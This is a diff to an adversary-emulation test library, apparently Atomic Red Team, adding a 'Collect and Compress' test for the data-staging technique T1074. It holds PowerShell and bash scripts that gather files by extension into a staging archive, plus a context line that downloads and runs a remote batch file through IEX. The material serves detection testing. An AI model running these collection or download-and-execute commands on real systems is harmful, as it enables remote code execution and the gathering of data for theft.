diff --git a/atomics/T1074/T1074.md b/atomics/T1074/T1074.md
index f6f8183511..e03012079b 100644
--- a/atomics/T1074/T1074.md
+++ b/atomics/T1074/T1074.md
@@ -15,6 +15,7 @@ Data Sources: File monitoring, Process monitoring, Process command-line paramete
## Atomic Tests
- [Atomic Test #1 - Stage data from Discovery.bat](#atomic-test-1---stage-data-from-discoverybat)
+- [Atomic Test #2 - Collect and Compress all file types](#atomic-test-2---collect-and-compress-all-file-types)
@@ -30,3 +31,77 @@ Utilize powershell to download discovery.bat and save to a local file
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.bat')" > c:\windows\pi.log
```
+
+
+
+## Atomic Test #2 - Collect and Compress all file types
+Collect all specified file extensions recursively from a specified file path on the target machine. All located files are copied into a temporary location before being compressed.
+
+**Supported Platforms:**
+- Windows
+- Linux
+
+
+#### Run it with `powershell`!
+Note:
+- ```{{ path }}```: requires a default path to start recursive search from
+- ```{{ extension }}```: requires a file extension to search for
+
+```
+$FolderPath = '{{ path }}'
+$FileExtension = '{{ extension }}'
+
+New-Item -ItemType directory -Path C:\temp\staging
+
+function TestPath()
+{
+ $FileExists = Test-Path $FolderPath
+ If ($FileExists -eq $True)
+ {
+ Return $true
+ }
+ Else
+ {
+ Return $false
+ }
+}
+
+function ZipFiles()
+{
+ Add-Type -Assembly System.IO.Compression.FileSystem
+ $compressionLevel = [System.IO.Compression.CompressionLevel]::Optimal
+ [System.IO.Compression.ZipFile]::CreateFromDirectory("C:\temp\staging",
+ "C:\temp\staging.zip", $compressionLevel, $false)
+}
+
+$Result = (TestPath($FolderPath));
+
+If ($Result)
+{
+ $Dir = get-childitem $FolderPath -Recurse -ErrorAction Ignore
+ $List = $Dir | where {$_.extension -eq $FileExtension}
+ $List | Copy-Item -Destination C:\temp\staging\ -ErrorAction Ignore
+}
+else
+{
+ "Folder path is incorrect."
+}
+
+ZipFiles
+
+Remove-Item -Recurse -Force C:\temp\staging
+
+```
+
+#### Run it with `bash`!
+Note:
+- ```{{ path }}```: requires a default path to start recursive search from
+- ```{{ extension }}```: requires a file extension to search for
+
+```
+mkdir -p /tmp/staging
+find {{ path }} -name '*{{ extension }}' -exec cp -prv '{}' '/tmp/staging' ';'
+tar -zcvf /tmp/staging.tar.gz /tmp/staging/
+rm -rf /tmp/staging
+```
+
diff --git a/atomics/T1074/T1074.yaml b/atomics/T1074/T1074.yaml
index 14c3dd2ad3..6cf634dee5 100644
--- a/atomics/T1074/T1074.yaml
+++ b/atomics/T1074/T1074.yaml
@@ -14,3 +14,84 @@ atomic_tests:
name: powershell
command: |
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.bat')" > c:\windows\pi.log
+
+- name: Collect and Compress all file types
+ description: |
+ Collect all specified file extensions recursively from a specified file path on the target machine. All located files are copied into a temporary location before being compressed.
+
+ # Not sure if atomic-red supports multi-platform executors under a single attack name
+ # It would be nice to correlate (- windows: powershell executor && - linux: sh executor)
+ supported_platforms:
+ - windows
+ - linux
+
+ input_arguments:
+ extension:
+ description: Extensions to search for
+ type: String
+ default: .log
+
+ input_arguments:
+ path:
+ description: Path to recursively search from
+ type: Path
+ default: /
+
+ # Windows Payload
+ # Not sure if multi-line commands support powershell functions or if this would be better placed
+ # within an 'atomics/T1074/payload/windows-payload.ps1' file and utilize a (New-Object Net.WebClient).DownloadString
+ # to pull down the payload. (Not sure how to pass input arguments though)
+ executor:
+ name: powershell
+ command: |
+ $FolderPath = '{{ path }}'
+ $FileExtension = '{{ extension }}'
+
+ New-Item -ItemType directory -Path C:\temp\staging
+
+ function TestPath()
+ {
+ $FileExists = Test-Path $FolderPath
+ If ($FileExists -eq $True)
+ {
+ Return $true
+ }
+ Else
+ {
+ Return $false
+ }
+ }
+
+ function ZipFiles()
+ {
+ Add-Type -Assembly System.IO.Compression.FileSystem
+ $compressionLevel = [System.IO.Compression.CompressionLevel]::Optimal
+ [System.IO.Compression.ZipFile]::CreateFromDirectory("C:\temp\staging",
+ "C:\temp\staging.zip", $compressionLevel, $false)
+ }
+
+ $Result = (TestPath($FolderPath));
+
+ If ($Result)
+ {
+ $Dir = get-childitem $FolderPath -Recurse -ErrorAction Ignore
+ $List = $Dir | where {$_.extension -eq $FileExtension}
+ $List | Copy-Item -Destination C:\temp\staging\ -ErrorAction Ignore
+ }
+ else
+ {
+ "Folder path is incorrect."
+ }
+
+ ZipFiles
+
+ Remove-Item -Recurse -Force C:\temp\staging
+
+ # Linux Payload
+ executor:
+ name: sh
+ command: |
+ mkdir -p /tmp/staging
+ find {{ path }} -name '*{{ extension }}' -exec cp -prv '{}' '/tmp/staging' ';'
+ tar -zcvf /tmp/staging.tar.gz /tmp/staging/
+ rm -rf /tmp/staging